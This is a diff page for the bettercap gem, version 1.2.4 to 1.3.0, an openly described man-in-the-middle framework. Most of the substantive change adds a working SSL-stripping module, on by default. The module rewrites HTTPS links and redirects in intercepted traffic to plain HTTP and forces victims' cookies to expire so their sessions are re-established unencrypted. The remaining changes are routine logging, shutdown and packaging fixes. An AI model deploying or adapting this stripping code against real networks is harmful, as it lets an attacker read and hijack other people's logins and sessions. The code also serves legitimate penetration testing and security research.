bettercap 1.2.4 → 1.3.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: d277978f66ed5f5cd7f82b8fb071c5869c1f6c4b
4
- data.tar.gz: ff6e06d690813d5898c0ba8f20564604b185ee96
3
+ metadata.gz: 6670a29441233971065df36cbeb7acba16762072
4
+ data.tar.gz: cc8daa2e7840ddc71b3d5925d114be71b219aba9
5
5
  SHA512:
6
- metadata.gz: 4ac7c66a0e57e773cfd69d448e3f558588f5816267b1d6fd2513a2b1696a124ad1d2886b880be4ef5116f0c042d9ef182c71f04e6d5081f20ec08df8b75892e6
7
- data.tar.gz: b4580bc7a43f897d592ba531dedda3d71230f669d22737b81785a94cfb815eaebb568eb57aca89c66b09cde476165702f299cf53bba146e1e54cf6c79d79db2a
6
+ metadata.gz: 4a280f7c72b0ae33f3d82614657c927c1d24f11fb828df64e954f60021ed7a87c623ec939dc8715f542510d5268f2413325627d38e56a0c5831774aa90e95931
7
+ data.tar.gz: 5cb2e4adada12bcb02a70b73a07477063423bc0ed9a96ec510de132a00b904152839a2cc8682f6c47b221425880c89d22874a4937c215ee06347b920047178fd
data/README.md CHANGED
@@ -83,9 +83,9 @@ Dependencies
83
83
  All dependencies will be automatically installed through the GEM system, in some case you might need to install some system
84
84
  dependency in order to make everything work:
85
85
 
86
- sudo apt-get install ruby-dev libpcap-dev
86
+ sudo apt-get install build-essential ruby-dev libpcap-dev
87
87
 
88
- This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22).
88
+ This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22) or [this one](https://github.com/evilsocket/bettercap/issues/100).
89
89
 
90
90
  Documentation and Examples
91
91
  ============
@@ -51,6 +51,9 @@ require 'bettercap/proxy/stream_logger'
51
51
  require 'bettercap/proxy/request'
52
52
  require 'bettercap/proxy/response'
53
53
  require 'bettercap/proxy/thread_pool'
54
+ require 'bettercap/proxy/sslstrip/cookiemonitor'
55
+ require 'bettercap/proxy/sslstrip/urlmonitor'
56
+ require 'bettercap/proxy/sslstrip/strip'
54
57
  require 'bettercap/proxy/proxy'
55
58
  require 'bettercap/proxy/streamer'
56
59
  require 'bettercap/proxy/module'
@@ -134,7 +134,7 @@ class Context
134
134
 
135
135
  @proxy_processor = Proc.new do |request,response|
136
136
  if Proxy::Module.modules.empty?
137
- Logger.warn 'WARNING: No proxy module loaded, skipping request.'
137
+ Logger.debug 'WARNING: No proxy module loaded, skipping request.'
138
138
  else
139
139
  # loop each loaded module and execute if enabled
140
140
  Proxy::Module.modules.each do |mod|
@@ -183,8 +183,6 @@ class Context
183
183
  # Logger is silent if @running == false
184
184
  puts "\nShutting down, hang on ...\n"
185
185
 
186
- @packets.stop
187
-
188
186
  Logger.debug 'Stopping target discovery manager ...'
189
187
  @discovery.stop
190
188
 
@@ -193,6 +191,10 @@ class Context
193
191
  spoofer.stop
194
192
  end
195
193
 
194
+ # Spoofer might be sending some last packets to restore the targets,
195
+ # the packet queue must be stopped here.
196
+ @packets.stop
197
+
196
198
  Logger.debug 'Stopping proxies ...'
197
199
  @proxies.each do |proxy|
198
200
  proxy.stop
@@ -45,6 +45,7 @@ class PacketQueue
45
45
 
46
46
  # Notify the queue to stop and wait for every worker to finish.
47
47
  def stop
48
+ wait_empty( 60 )
48
49
  @running = false
49
50
  @nworkers.times { push(nil) }
50
51
  @workers.map(&:join)
@@ -66,6 +66,8 @@ class Options
66
66
  attr_accessor :proxy_pem_file
67
67
  # File name of the transparent proxy module to load.
68
68
  attr_accessor :proxy_module
69
+ # If true, sslstrip is enabled.
70
+ attr_accessor :sslstrip
69
71
  # Custom HTTP transparent proxy address.
70
72
  attr_accessor :custom_proxy
71
73
  # Custom HTTP transparent proxy port.
@@ -129,6 +131,8 @@ class Options
129
131
  @custom_https_proxy = nil
130
132
  @custom_https_proxy_port = 8083
131
133
 
134
+ @sslstrip = true
135
+
132
136
  @httpd = false
133
137
  @httpd_port = 8081
134
138
  @httpd_path = './'
@@ -278,6 +282,10 @@ class Options
278
282
  ctx.options.custom_proxy_port = v.to_i
279
283
  end
280
284
 
285
+ opts.on( '--no-sslstrip', 'Disable SSLStrip.' ) do
286
+ ctx.options.sslstrip = false
287
+ end
288
+
281
289
  opts.on( '--custom-https-proxy ADDRESS', 'Use a custom HTTPS upstream proxy instead of the builtin one.' ) do |v|
282
290
  ctx.options.custom_https_proxy = v
283
291
  end
@@ -520,6 +528,7 @@ class Options
520
528
  'sniffer' => if sniffer then on else off end,
521
529
  'http-proxy' => if proxy then on else off end,
522
530
  'https-proxy' => if proxy_https then on else off end,
531
+ 'sslstrip' => if proxy and sslstrip then on else off end,
523
532
  'http-server' => if httpd then on else off end,
524
533
  }
525
534
 
@@ -85,12 +85,15 @@ class Module
85
85
  # Loop each available BetterCap::Proxy::Proxy module and yield each
86
86
  # one of them for the given code block.
87
87
  def self.each_module
88
- Object.constants.each do |klass|
89
- const = Kernel.const_get(klass.to_s)
90
- if const.respond_to?(:superclass) and const.superclass == self
91
- yield const
88
+ old_verbose, $VERBOSE = $VERBOSE, nil
89
+ Object.constants.each do |klass|
90
+ const = Kernel.const_get(klass.to_s)
91
+ if const.respond_to?(:superclass) and const.superclass == self
92
+ yield const
93
+ end
92
94
  end
93
- end
95
+ ensure
96
+ $VERBOSE = old_verbose
94
97
  end
95
98
  end
96
99
  end
@@ -122,10 +122,10 @@ class Proxy
122
122
 
123
123
  # someone is having fun with us =)
124
124
  if is_self_request? request
125
- @streamer.rickroll client, @is_https
125
+ @streamer.rickroll( client, @is_https )
126
126
  # handle request
127
127
  else
128
- @streamer.handle( request, client, @is_https )
128
+ @streamer.handle( request, client )
129
129
  end
130
130
 
131
131
  Logger.debug "#{@type} client served."
@@ -23,13 +23,17 @@ class Request
23
23
  # Hostname.
24
24
  attr_reader :host
25
25
  # Request port.
26
- attr_reader :port
26
+ attr_accessor :port
27
27
  # Request headers hash.
28
28
  attr_reader :headers
29
29
  # Content length.
30
30
  attr_reader :content_length
31
31
  # Request body.
32
32
  attr_reader :body
33
+ # Client address.
34
+ attr_accessor :client
35
+ # Client port.
36
+ attr_accessor :client_port
33
37
 
34
38
  # Initialize this object setting #port to +default_port+.
35
39
  def initialize( default_port = 80 )
@@ -41,6 +45,8 @@ class Request
41
45
  @headers = {}
42
46
  @content_length = 0
43
47
  @body = nil
48
+ @client = ""
49
+ @client_port = 0
44
50
  end
45
51
 
46
52
  # Read lines from the +sock+ socket and parse them.
@@ -121,6 +127,29 @@ class Request
121
127
  def to_s
122
128
  @lines.join("\n") + "\n" + ( @body || '' )
123
129
  end
130
+
131
+ def to_url(max_length = 50)
132
+ schema = if port == 443 then 'https' else 'http' end
133
+ url = "#{schema}://#{@host}#{@url}"
134
+ url = url.slice(0..max_length) + '...' unless url.length <= max_length
135
+ url
136
+ end
137
+
138
+ # Return the value of header with +name+ or an empty string.
139
+ def [](name)
140
+ if @headers.include?(name) then @headers[name] else "" end
141
+ end
142
+
143
+ # If the header with +name+ is found, then a +value+ is assigned to it.
144
+ def []=(name, value)
145
+ @lines.each_with_index do |line,i|
146
+ if line =~ /^#{name}:\s*.+$/i
147
+ @headers[name] = value
148
+ @lines[i] = "#{name}: #{value}"
149
+ break
150
+ end
151
+ end
152
+ end
124
153
  end
125
154
  end
126
155
  end
@@ -47,7 +47,7 @@ class Response
47
47
  def convert_webrick_response!(response)
48
48
  self << "HTTP/#{response.http_version} #{response.code} #{response.msg}"
49
49
  response.each do |key,value|
50
- self << "#{key}: #{value}"
50
+ self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
51
51
  end
52
52
  self << "\n"
53
53
  @code = response.code
@@ -97,6 +97,26 @@ class Response
97
97
  @content_type and ( @content_type =~ /^text\/.+/ or @content_type =~ /^application\/.+/ )
98
98
  end
99
99
 
100
+ # Return the value of header with +name+ or an empty string.
101
+ def [](name)
102
+ @headers.each do |header|
103
+ if header =~ /^#{name}:\s*(.+)$/i
104
+ return $1
105
+ end
106
+ end
107
+ ""
108
+ end
109
+
110
+ # If the header with +name+ is found, then a +value+ is assigned to it.
111
+ def []=(name, value)
112
+ @headers.each_with_index do |header,i|
113
+ if header =~ /^#{name}:\s*.+$/i
114
+ @headers[i] = "#{name}: #{value}"
115
+ break
116
+ end
117
+ end
118
+ end
119
+
100
120
  # Return a string representation of this response object, patching the
101
121
  # Content-Length header if the #body was modified.
102
122
  def to_s
@@ -0,0 +1,60 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ module BetterCap
14
+ module Proxy
15
+ module SSLStrip
16
+
17
+ # Class to handle a cookies for sslstrip.
18
+ class CookieMonitor
19
+ # Create an instance of this object.
20
+ def initialize
21
+ @set = []
22
+ end
23
+
24
+ # Return true if the +request+ was already cleaned.
25
+ def is_clean?(request)
26
+ if request.post?
27
+ return true
28
+ elsif request['Cookie'].empty?
29
+ return true
30
+ else
31
+ return @set.include?( [request.client, get_domain(request)] )
32
+ end
33
+ end
34
+
35
+ # Build cookie expiration headers for the +request+ and add its domain
36
+ # to our list.
37
+ def get_expired_headers!(request)
38
+ domain = get_domain(request)
39
+ @set << [request.client, domain]
40
+
41
+ expired = []
42
+ request['Cookie'].split(';').each do |cookie|
43
+ cname = cookie.split("=")[0].strip
44
+ expired << "#{cname}=EXPIRED; path=/; domain=#{domain}; Expires=Mon, 01-Jan-1990 00:00:00 GMT"
45
+ expired << "#{cname}=EXPIRED; path=/; domain=#{request.host}; Expires=Mon, 01-Jan-1990 00:00:00 GMT"
46
+ end
47
+
48
+ expired
49
+ end
50
+
51
+ # Return the cookie domain given the +request+ object.
52
+ def get_domain(request)
53
+ parts = request.host.split('.')
54
+ ".#{parts[-2]}.#{parts[-1]}"
55
+ end
56
+ end
57
+
58
+ end
59
+ end
60
+ end
@@ -0,0 +1,116 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ module BetterCap
14
+ module Proxy
15
+ module SSLStrip
16
+
17
+ # Handle SSL stripping.
18
+ class Strip
19
+ # Maximum number of redirects to detect a HTTPS redirect loop.
20
+ MAX_REDIRECTS = 3
21
+ # Regular expression used to parse HTTPS urls.
22
+ HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
23
+
24
+ # Create an instance of this object.
25
+ def initialize
26
+ @urls = URLMonitor.new
27
+ @cookies = CookieMonitor.new
28
+ end
29
+
30
+ # Check if the +request+ is a result of a stripped link/redirect and handle
31
+ # cookies cleaning.
32
+ # Return a response object or nil if the request must be performed.
33
+ def preprocess( request )
34
+ # check for cookies.
35
+ unless @cookies.is_clean?(request)
36
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
37
+ expired = @cookies.get_expired_headers!(request)
38
+
39
+ return build_expired_cookies( expired, request )
40
+ end
41
+
42
+ # check for stripped urls.
43
+ link = @urls.normalize( request.host )
44
+ if request.port == 80 and @urls.was_stripped?( request.client, link )
45
+ Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{link}', proxying via SSL."
46
+ request.port = 443
47
+ end
48
+
49
+ nil
50
+ end
51
+
52
+ # Process the +request+ and if it's a redirect to a HTTPS url patch the
53
+ # Location header and retry.
54
+ # Process the +response+ and replace every https link in its body with
55
+ # http counterparts.
56
+ def process( request, response )
57
+ # check for a redirect
58
+ if response['Location'].start_with?('https://')
59
+ link = @urls.normalize( response['Location'] )
60
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{link}'."
61
+ @urls.add!( request.client, link )
62
+
63
+ # The request will be retried on port 443 if MAX_REDIRECTS is not reached.
64
+ request.port = 443
65
+ # If MAX_REDIRECTS is reached, the 'Location' header will be used.
66
+ response['Location'] = @urls.downgrade( response['Location'] )
67
+
68
+ # retry the request if possible
69
+ return true
70
+ end
71
+
72
+ # parse body
73
+ links = []
74
+ response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
75
+ if link[0].include?('.')
76
+ link = @urls.normalize( link[0] )
77
+ downgraded = @urls.downgrade( link )
78
+
79
+ links << [link, downgraded]
80
+ end
81
+ end
82
+
83
+ unless links.empty?
84
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
85
+
86
+ links.each do |l|
87
+ link, downgraded = l
88
+ @urls.add!( request.client, link )
89
+ response.body.gsub!( link, downgraded )
90
+ end
91
+ end
92
+
93
+ # do not retry the request.
94
+ false
95
+ end
96
+
97
+ private
98
+
99
+ def build_expired_cookies( expired, request )
100
+ resp = Response.new
101
+
102
+ resp << "HTTP/1.1 302 Moved"
103
+ resp << "Connection: close"
104
+ resp << "Location: http://#{request.host}#{request.url}"
105
+
106
+ expired.each do |cookie|
107
+ resp << "Set-Cookie: #{cookie}"
108
+ end
109
+
110
+ resp
111
+ end
112
+ end
113
+
114
+ end
115
+ end
116
+ end
@@ -0,0 +1,52 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ module BetterCap
14
+ module Proxy
15
+ module SSLStrip
16
+
17
+ # Class to handle a list of ( client, url ) objects.
18
+ class URLMonitor
19
+ # Create an instance of this object.
20
+ def initialize
21
+ @urls = []
22
+ end
23
+
24
+ # Return true if the object (client, url) is found inside this list.
25
+ def was_stripped?( client, url )
26
+ @urls.include?([client, url])
27
+ end
28
+
29
+ # Add the object (client, url) to this list.
30
+ def add!( client, url )
31
+ unless was_stripped?(client, url)
32
+ @urls << [client, url]
33
+ end
34
+ end
35
+
36
+ # Return a normalized version of +url+.
37
+ def normalize( url )
38
+ url = if url.include?('://') then url else "https://#{url}" end
39
+ url = if url.end_with?('/') then url else "#{url}/" end
40
+ url
41
+ end
42
+
43
+ # Downgrade +url+ from HTTPS to HTTP.
44
+ # Will take care of HSTS bypass urls in a near future.
45
+ def downgrade( url )
46
+ url.gsub( 'https://', 'http://' )
47
+ end
48
+ end
49
+
50
+ end
51
+ end
52
+ end
@@ -46,7 +46,8 @@ class StreamLogger
46
46
 
47
47
  # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
48
48
  # with the +request+ and +response+ most important informations.
49
- def self.log_http( is_https, client, request, response )
49
+ def self.log_http( request, response )
50
+ is_https = request.port == 443
50
51
  request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
51
52
  response_s = "( #{response.content_type} )"
52
53
  request_s = request_s.slice(0..@@MAX_REQ_SIZE) + '...' unless request_s.length <= @@MAX_REQ_SIZE
@@ -58,7 +59,7 @@ class StreamLogger
58
59
  response_s += " [#{response.code}]"
59
60
  end
60
61
 
61
- Logger.raw "[#{self.addr2s(client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
62
+ Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
62
63
  end
63
64
  end
64
65
  end
@@ -18,6 +18,8 @@ class Streamer
18
18
  # Initialize the class with the given +processor+ routine.
19
19
  def initialize( processor )
20
20
  @processor = processor
21
+ @ctx = Context.get
22
+ @sslstrip = SSLStrip::Strip.new
21
23
  end
22
24
 
23
25
  # Redirect the +client+ to a funny video.
@@ -30,28 +32,51 @@ class Streamer
30
32
  client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n"
31
33
  end
32
34
 
33
- # Handle the HTTP +request+ from +client+, if +is_https+ is true it will be
34
- # forwarded as a HTTPS request.
35
- def handle( request, client, is_https )
35
+ # Handle the HTTP +request+ from +client+.
36
+ def handle( request, client, redirects = 0 )
36
37
  response = Response.new
37
- client_ip, client_port = get_client_details( is_https, client )
38
+ is_https = request.port == 443
39
+ request.client, request.client_port = get_client_details( is_https, client )
38
40
 
39
- Logger.debug "Handling #{request.verb} request from #{client_ip}:#{client_port} ..."
41
+ Logger.debug "Handling #{request.verb} request from #{request.client}:#{request.client_port} ..."
40
42
 
41
43
  begin
42
- self.send( "do_#{request.verb}", request, response )
44
+ r = nil
45
+ if @ctx.options.sslstrip
46
+ r = @sslstrip.preprocess( request )
47
+ end
48
+
49
+ if r.nil?
50
+ self.send( "do_#{request.verb}", request, response )
51
+ else
52
+ response = r
53
+ end
43
54
 
44
55
  if response.textual?
45
- StreamLogger.log_http( is_https, client_ip, request, response )
56
+ StreamLogger.log_http( request, response )
46
57
  else
47
- Logger.debug "[#{client_ip}] -> #{request.host}#{request.url} [#{response.code}]"
58
+ Logger.debug "[#{request.client}] -> #{request.host}#{request.url} [#{response.code}]"
59
+ end
60
+
61
+ if @ctx.options.sslstrip
62
+ # do we need to retry the request?
63
+ if @sslstrip.process( request, response ) == true
64
+ # https redirect loop?
65
+ if redirects < SSLStrip::Strip::MAX_REDIRECTS
66
+ return self.handle( request, client, redirects + 1 )
67
+ else
68
+ Logger.info "[#{'SSLSTRIP'.yellow} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
69
+ end
70
+ end
48
71
  end
49
72
 
50
73
  @processor.call( request, response )
51
74
 
52
75
  client.write response.to_s
53
- rescue NoMethodError
54
- Logger.warn "Could not handle #{request.verb} request from #{client_ip}:#{client_port} ..."
76
+ rescue NoMethodError => e
77
+ Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
78
+ Logger.debug e.inspect
79
+ Logger.debug e.backtrace.join("\n")
55
80
  end
56
81
  end
57
82
 
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
  module BetterCap
13
13
  # Current version of bettercap.
14
- VERSION = '1.2.4'
14
+ VERSION = '1.3.0'
15
15
  # Program banner.
16
16
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
17
17
  end
metadata CHANGED
@@ -1,83 +1,83 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.2.4
4
+ version: 1.3.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-01-21 00:00:00.000000000 Z
11
+ date: 2016-01-24 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
15
15
  requirement: !ruby/object:Gem::Requirement
16
16
  requirements:
17
- - - ~>
17
+ - - "~>"
18
18
  - !ruby/object:Gem::Version
19
19
  version: 0.7.5
20
20
  type: :runtime
21
21
  prerelease: false
22
22
  version_requirements: !ruby/object:Gem::Requirement
23
23
  requirements:
24
- - - ~>
24
+ - - "~>"
25
25
  - !ruby/object:Gem::Version
26
26
  version: 0.7.5
27
27
  - !ruby/object:Gem::Dependency
28
28
  name: packetfu
29
29
  requirement: !ruby/object:Gem::Requirement
30
30
  requirements:
31
- - - ~>
31
+ - - "~>"
32
32
  - !ruby/object:Gem::Version
33
33
  version: 1.1.10
34
34
  type: :runtime
35
35
  prerelease: false
36
36
  version_requirements: !ruby/object:Gem::Requirement
37
37
  requirements:
38
- - - ~>
38
+ - - "~>"
39
39
  - !ruby/object:Gem::Version
40
40
  version: 1.1.10
41
41
  - !ruby/object:Gem::Dependency
42
42
  name: pcaprub
43
43
  requirement: !ruby/object:Gem::Requirement
44
44
  requirements:
45
- - - ~>
45
+ - - "~>"
46
46
  - !ruby/object:Gem::Version
47
47
  version: 0.12.0
48
48
  type: :runtime
49
49
  prerelease: false
50
50
  version_requirements: !ruby/object:Gem::Requirement
51
51
  requirements:
52
- - - ~>
52
+ - - "~>"
53
53
  - !ruby/object:Gem::Version
54
54
  version: 0.12.0
55
55
  - !ruby/object:Gem::Dependency
56
56
  name: network_interface
57
57
  requirement: !ruby/object:Gem::Requirement
58
58
  requirements:
59
- - - ~>
59
+ - - "~>"
60
60
  - !ruby/object:Gem::Version
61
61
  version: 0.0.1
62
62
  type: :runtime
63
63
  prerelease: false
64
64
  version_requirements: !ruby/object:Gem::Requirement
65
65
  requirements:
66
- - - ~>
66
+ - - "~>"
67
67
  - !ruby/object:Gem::Version
68
68
  version: 0.0.1
69
69
  - !ruby/object:Gem::Dependency
70
70
  name: net-dns
71
71
  requirement: !ruby/object:Gem::Requirement
72
72
  requirements:
73
- - - ~>
73
+ - - "~>"
74
74
  - !ruby/object:Gem::Version
75
75
  version: 0.8.0
76
76
  type: :runtime
77
77
  prerelease: false
78
78
  version_requirements: !ruby/object:Gem::Requirement
79
79
  requirements:
80
- - - ~>
80
+ - - "~>"
81
81
  - !ruby/object:Gem::Version
82
82
  version: 0.8.0
83
83
  description: A complete, modular, portable and easily extensible MITM framework.
@@ -90,6 +90,8 @@ files:
90
90
  - CONTRIBUTING.md
91
91
  - LICENSE.md
92
92
  - README.md
93
+ - bin/bettercap
94
+ - lib/bettercap.rb
93
95
  - lib/bettercap/banner
94
96
  - lib/bettercap/context.rb
95
97
  - lib/bettercap/discovery/agents/arp.rb
@@ -123,6 +125,9 @@ files:
123
125
  - lib/bettercap/proxy/proxy.rb
124
126
  - lib/bettercap/proxy/request.rb
125
127
  - lib/bettercap/proxy/response.rb
128
+ - lib/bettercap/proxy/sslstrip/cookiemonitor.rb
129
+ - lib/bettercap/proxy/sslstrip/strip.rb
130
+ - lib/bettercap/proxy/sslstrip/urlmonitor.rb
126
131
  - lib/bettercap/proxy/stream_logger.rb
127
132
  - lib/bettercap/proxy/streamer.rb
128
133
  - lib/bettercap/proxy/thread_pool.rb
@@ -145,32 +150,29 @@ files:
145
150
  - lib/bettercap/spoofers/none.rb
146
151
  - lib/bettercap/update_checker.rb
147
152
  - lib/bettercap/version.rb
148
- - lib/bettercap.rb
149
- - bin/bettercap
150
153
  homepage: http://github.com/evilsocket/bettercap
151
154
  licenses:
152
155
  - GPL3
153
156
  metadata: {}
154
157
  post_install_message:
155
158
  rdoc_options:
156
- - --charset=UTF-8
159
+ - "--charset=UTF-8"
157
160
  require_paths:
158
161
  - lib
159
162
  required_ruby_version: !ruby/object:Gem::Requirement
160
163
  requirements:
161
- - - '>='
164
+ - - ">="
162
165
  - !ruby/object:Gem::Version
163
166
  version: '1.9'
164
167
  required_rubygems_version: !ruby/object:Gem::Requirement
165
168
  requirements:
166
- - - '>='
169
+ - - ">="
167
170
  - !ruby/object:Gem::Version
168
171
  version: '0'
169
172
  requirements: []
170
173
  rubyforge_project:
171
- rubygems_version: 2.0.14
174
+ rubygems_version: 2.5.1
172
175
  signing_key:
173
176
  specification_version: 4
174
177
  summary: A complete, modular, portable and easily extensible MITM framework.
175
178
  test_files: []
176
- has_rdoc: